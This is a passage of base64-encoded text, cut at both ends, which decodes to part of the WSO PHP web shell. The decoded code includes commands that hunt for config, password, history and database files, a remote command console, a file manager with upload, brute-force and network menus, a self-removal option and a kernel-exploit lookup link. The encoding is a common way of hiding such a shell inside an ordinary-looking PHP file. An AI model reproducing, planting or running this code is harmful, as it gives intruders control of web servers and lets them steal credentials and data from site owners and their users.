5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsDQogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQoJCSJMb2NhdGUiID0+ICIiLA0KICAJCSJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwNCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsDQoJCSJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsDQoJCSJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLA0KCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsDQoJCSJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwNCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLA0KCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLA0KCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwNCgkJImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsDQoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwNCgkJImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsDQoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLA0KCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwNCgkJImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLA0KCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLA0KCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLA0KCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsDQoJCSJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IgkNCgkpOw0KDQpmdW5jdGlvbiB3c29IZWFkZXIoKSB7DQoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQ0KCQkkX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsNCglnbG9iYWwgJGNvbG9yOw0KCWVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPg0KPHN0eWxlPg0KYm9keXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7Y29sb3I6I2UxZTFlMTt9DQpib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0NCnRhYmxlLmluZm97IGNvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9DQpzcGFuLGgxLGF7IGNvbG9yOiAkY29sb3IgIWltcG9ydGFudDsgfQ0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQ0KaDF7IGJvcmRlci1sZWZ0OjVweCBzb2xpZCAkY29sb3I7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMjIyO21hcmdpbjowcHg7IH0NCmRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQ0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0NCmE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0NCi5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjI1MHB4OyB9DQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7IG1hcmdpbjowO2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlcjoxcHggc29saWQgJGNvbG9yOyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb3VyaWVyIE5ldyc7IH0NCmZvcm17IG1hcmdpbjowcHg7IH0NCiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0NCi50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0NCi5tYWluIHRoe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWU7fQ0KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQ0KLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0NCi5sMntiYWNrZ3JvdW5kLWNvbG9yOiMzMzN9DQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicNCiAgICB2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuIic7DQogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBwMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AyJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDNfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMyddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIGQgPSBkb2N1bWVudDsNCglmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJaWYoYSE9bnVsbClkLm1mLmEudmFsdWU9YTtlbHNlIGQubWYuYS52YWx1ZT1hXzsNCgkJaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1jXzsNCgkJaWYocDEhPW51bGwpZC5tZi5wMS52YWx1ZT1wMTtlbHNlIGQubWYucDEudmFsdWU9cDFfOw0KCQlpZihwMiE9bnVsbClkLm1mLnAyLnZhbHVlPXAyO2Vsc2UgZC5tZi5wMi52YWx1ZT1wMl87DQoJCWlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsNCgkJaWYoY2hhcnNldCE9bnVsbClkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0XzsNCgl9DQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KCQlkLm1mLnN1Ym1pdCgpOw0KCX0NCglmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsNCgkJZm9yKGk9MDtpPGQubWYuZWxlbWVudHMubGVuZ3RoO2krKykNCgkJCXBhcmFtcyArPSAnJicrZC5tZi5lbGVtZW50c1tpXS5uYW1lKyc9JytlbmNvZGVVUklDb21wb25lbnQoZC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7DQoJCXNyKCciIC4gYWRkc2xhc2hlcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOw0KCX0NCglmdW5jdGlvbiBzcih1cmwsIHBhcmFtcykgewkNCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7DQoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOw0KCX0NCjwvc2NyaXB0Pg0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyc+DQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4NCjwvZm9ybT4iOw0KCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7DQoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7DQoJJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsNCgkkZXhwbGluayA9ICdodHRwOi8vZXhwbG9pdC1kYi5jb20vbGlzdC5waHA/ZGVzY3JpcHRpb249JzsNCglpZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJ0xpbnV4IEtlcm5lbCAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsNikpOw0KCWVsc2UNCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCgkJJHVpZCA9IEBnZXRteXVpZCgpOw0KCQkkZ2lkID0gQGdldG15Z2lkKCk7DQoJCSRncm91cCA9ICI/IjsNCgl9IGVsc2Ugew0KCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7DQoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsNCgkJJHVzZXIgPSAkdWlkWyduYW1lJ107DQoJCSR1aWQgPSAkdWlkWyd1aWQnXTsNCgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOw0KCQkkZ2lkID0gJGdpZFsnZ2lkJ107DQoJfQ0KDQoJJGN3ZF9saW5rcyA9ICcnOw0KCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49Y291bnQoJHBhdGgpOw0KCWZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQoJCSRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykNCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCgkJJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOw0KCSRvcHRfY2hhcnNldHMgPSAnJzsNCglmb3JlYWNoKCRjaGFyc2V0cyBhcyAkaXRlbSkNCgkJJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOw0KDQoJJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnU2FmZSBtb2RlJz0+J1NhZmVNb2RlJywnU3RyaW5nIHRvb2xzJz0+J1N0cmluZ1Rvb2xzJywnQnJ1dGVmb3JjZSc9PidCcnV0ZWZvcmNlJywnTmV0d29yayc9PidOZXR3b3JrJyk7DQoJaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpDQoJCSRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOw0KCSRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1vdmUnOw0KCSRtZW51ID0gJyc7DQoJZm9yZWFjaCgkbSBhcyAkayA9PiAkdikNCgkJJG1lbnUgLj0gJzx0aCB3aWR0aD0iJy4oaW50KSgxMDAvY291bnQoJG0pKS4nJSI+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsNCg0KCSRkcml2ZXMgPSAiIjsNCglpZigkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgew0KCQlmb3JlYWNoKHJhbmdlKCdjJywneicpIGFzICRkcml2ZSkNCgkJaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpDQoJCQkkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7DQoJfQ0KCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG5vYnI+JyAuIHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgLiAnIDxhIGhyZWY9IicgLiAkZXhwbGluayAuICciIHRhcmdldD1fYmxhbms+W2V4cGxvaXQtZGIuY29tXTwvYT48L25vYnI+PGJyPicgLiAkdWlkIC4gJyAoICcgLiAkdXNlciAuICcgKSA8c3Bhbj5Hcm91cDo8L3NwYW4+ICcgLiAkZ2lkIC4gJyAoICcgLiAkZ3JvdXAgLiAnICk8YnI+JyAuIEBwaHB2ZXJzaW9uKCkgLiAnIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcgLiAoJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9IzAwYmIwMD48Yj5PRkY8L2I+PC9mb250PicpDQogICAgICAgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAnPGJyPicgLiB3c29WaWV3U2l6ZSgkdG90YWxTcGFjZSkgLiAnIDxzcGFuPkZyZWU6PC9zcGFuPiAnIC4gd3NvVmlld1NpemUoJGZyZWVTcGFjZSkgLiAnICgnLiAoaW50KSAoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApIC4gJyUpPGJyPicgLiAkY3dkX2xpbmtzIC4gJyAnLiB3c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nIC4gJGRyaXZlcyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48c2VsZWN0IG9uY2hhbmdlPSJnKG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnZhbHVlKSI+PG9wdGdyb3VwIGxhYmVsPSJQYWdlIGNoYXJzZXQiPicgLiAkb3B0X2NoYXJzZXRzIC4gJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOw0KfQ0KDQpmdW5jdGlvbiB3c29Gb290ZXIoKSB7DQoJJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmb250IGNvbG9yPScjMjVmZjAwJz4oV3JpdGVhYmxlKTwvZm9udD4iOiIgPGZvbnQgY29sb3I9cmVkPihOb3Qgd3JpdGFibGUpPC9mb250PiI7DQogICAgZWNobyAiDQo8L2Rpdj4NCjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+DQoJPHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCx0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01Bbic+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPg0KCQk8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxiciAgPjwvdGQ+DQoJPC90cj48L3RhYmxlPjwvZGl2PjwvYm9keT48L2h0bWw+IjsNCn0NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsNCiAgICBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkge3JldHVybiBmYWxzZTt9IH0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7DQogICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQoNCmZ1bmN0aW9uIHdzb0V4KCRpbikgew0KCSRvdXQgPSAnJzsNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCgkJQGV4ZWMoJGluLCRvdXQpOw0KCQkkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc